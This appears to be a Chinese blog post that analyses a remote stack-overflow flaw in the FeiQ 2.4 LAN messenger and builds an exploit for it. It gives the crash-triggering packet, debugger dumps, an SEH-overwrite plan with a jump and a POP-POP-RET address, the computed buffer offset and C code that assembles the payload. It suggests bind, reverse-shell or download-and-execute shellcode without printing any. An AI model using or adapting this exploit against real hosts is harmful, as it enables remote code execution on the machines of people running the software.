飞秋远程可利用0day 的详细分析和利用方法 飞秋漏洞

飞秋是个不错的局域网通信软件,相信使用的用户不少,最新版本应该是2.5。考虑到可能对很多使用者造成隐患,这边就拿低一点的版本进行分析,为2.4版本。
其实artake已经说得很清楚了,很多大大可能不屑于这么简单的栈溢出,我这边权且当做抛砖引玉吧,见笑了。

一、
根据artake提供的POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
调试定位到出现bug时的代码:

0049061C|./EB2Ejmpshort0049064C
0049061E|>|81FBFF3F0000cmpebx,3FFF
00490624|.|B8FF3F0000moveax,3FFF
00490629|.|7F02jgshort0049062D
0049062B|.|8BC3moveax,ebx
0049062D|>|8B742420movesi,dwordptr[esp+20]
00490631|.|8BC8movecx,eax
00490633|.|8BD9movebx,ecx
00490635|.|C1E902shrecx,2
00490638|.|F3:A5repmovsdwordptres:[edi],dwordp>;//在拷贝时溢出出错
0049063A|.|8BCBmovecx,ebx
0049063C|.|8B5C242Cmovebx,dwordptr[esp+2C]
00490640|.|83E103andecx,3
00490643|.|40inceax

在执行到00490638时,寄存器状态如下:

EAXFFFFFFFF
ECX3FFFFFFF
EDX00000000
EBXFFFFFFFF
ESP0011B450
EBP001235C8ASCII"admin"
ESI0011F525
EDI00123670
EIP00490638飞秋FeiQ.00490638

可知从ESI地址拷贝3FFFFFFFbyte数据到[00123670],拷贝时数据从低位往高位增长,即堆栈往下增长,堆栈栈底信息如下:
0012FFEC00000000
0012FFF000000000
0012FFF400000000
0012FFF800552DC7飞秋FeiQ.<ModuleEntryPoint>
0012FFFC00000000

00123670+3FFFFFFF>0012FFFC,明显溢出。


二、
溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:
SEH链用于主线程
地址SE处理程序
0011F498飞秋FeiQ.00589B89

0012D5F4飞秋FeiQ.00593AA7

0012D678飞秋FeiQ.00595644
0012D728USER32.77D4048F
0012D788USER32.77D4048F
0012D80C飞秋FeiQ.005955B4
0012FF08飞秋FeiQ.00586673
0012FFB0飞秋FeiQ.00555990
0012FFE0kernel32.7C839AD8

堆栈值>123670(拷贝的第一个EDI地址)的第一个SEH链为0012D5F4,进去看具体堆栈:
0012D5F00050F55F返回到飞秋FeiQ.0050F55F来自飞秋FeiQ.00550870
0012D5F40012D678指向下一个SEH记录的指针
0012D5F800593AA7SE处理程序

0012D5FCFFFFFFFF

初步构思淹没SEH指针和处理程序,从而能执行到自己的shellcode,构思结果如下:
0012D5F406EB06EB指向下一个SEH记录的指针,这里更改为相当于jmp+4,跳到0012D5FC执行shellcode
0012D5F87FFA1571SE处理程序,这个地址是经典的POP,POP,RET地址,XPSP1,SP2,SP3应该是通用
0012D5FC0089E8FC这里为shellcode开始地址

0012D60089600000
0012D60464D231E5
0012D6088B30528B
0012D60C528B0C52

三、
初步分析后,考虑如何实现以上淹没过程,首先需计算偏移,使其能正确淹没SEH地址。在这个例子中,计算偏移的方法比较简单,可直接利用artake提供的POC程序定位:
当数据刚好淹没到0012D5F8时,此时ESI数据位:1294A9,而数据开始地址为1277BB,则1294A9-1277BB=1CEE。
也就是说数据偏移0X1CEE处即应为数据06EB06EB(jmp+4)。

在artake大大的代码下,简略更改如下:
charsenddata1[]="1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
charbefor_shellcode[]="\xeb\x06\xeb\x06\x71\x15\xfa\x7f";//8byte
inti=0;
intsenddata1length=strlen(senddata1);
memset(sendbuf,'A',0x3fff);
strcpy(sendbuf,senddata1);
strcpy(sendbuf+senddata1length+0x1cee,befor_shellcode);
strcpy(sendbuf+senddata1length+strlen(befor_shellcode)+0x1cee,shellcode);
上面的shellcode就不列出来了,是绑定端口或反弹端口或下载执行,仁者见仁,智者见智吧,如果shellcode里面有byte为0x00,那么可用encode方式或直接用for循环拷贝到sendbuf即可。

执行效果如下:
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值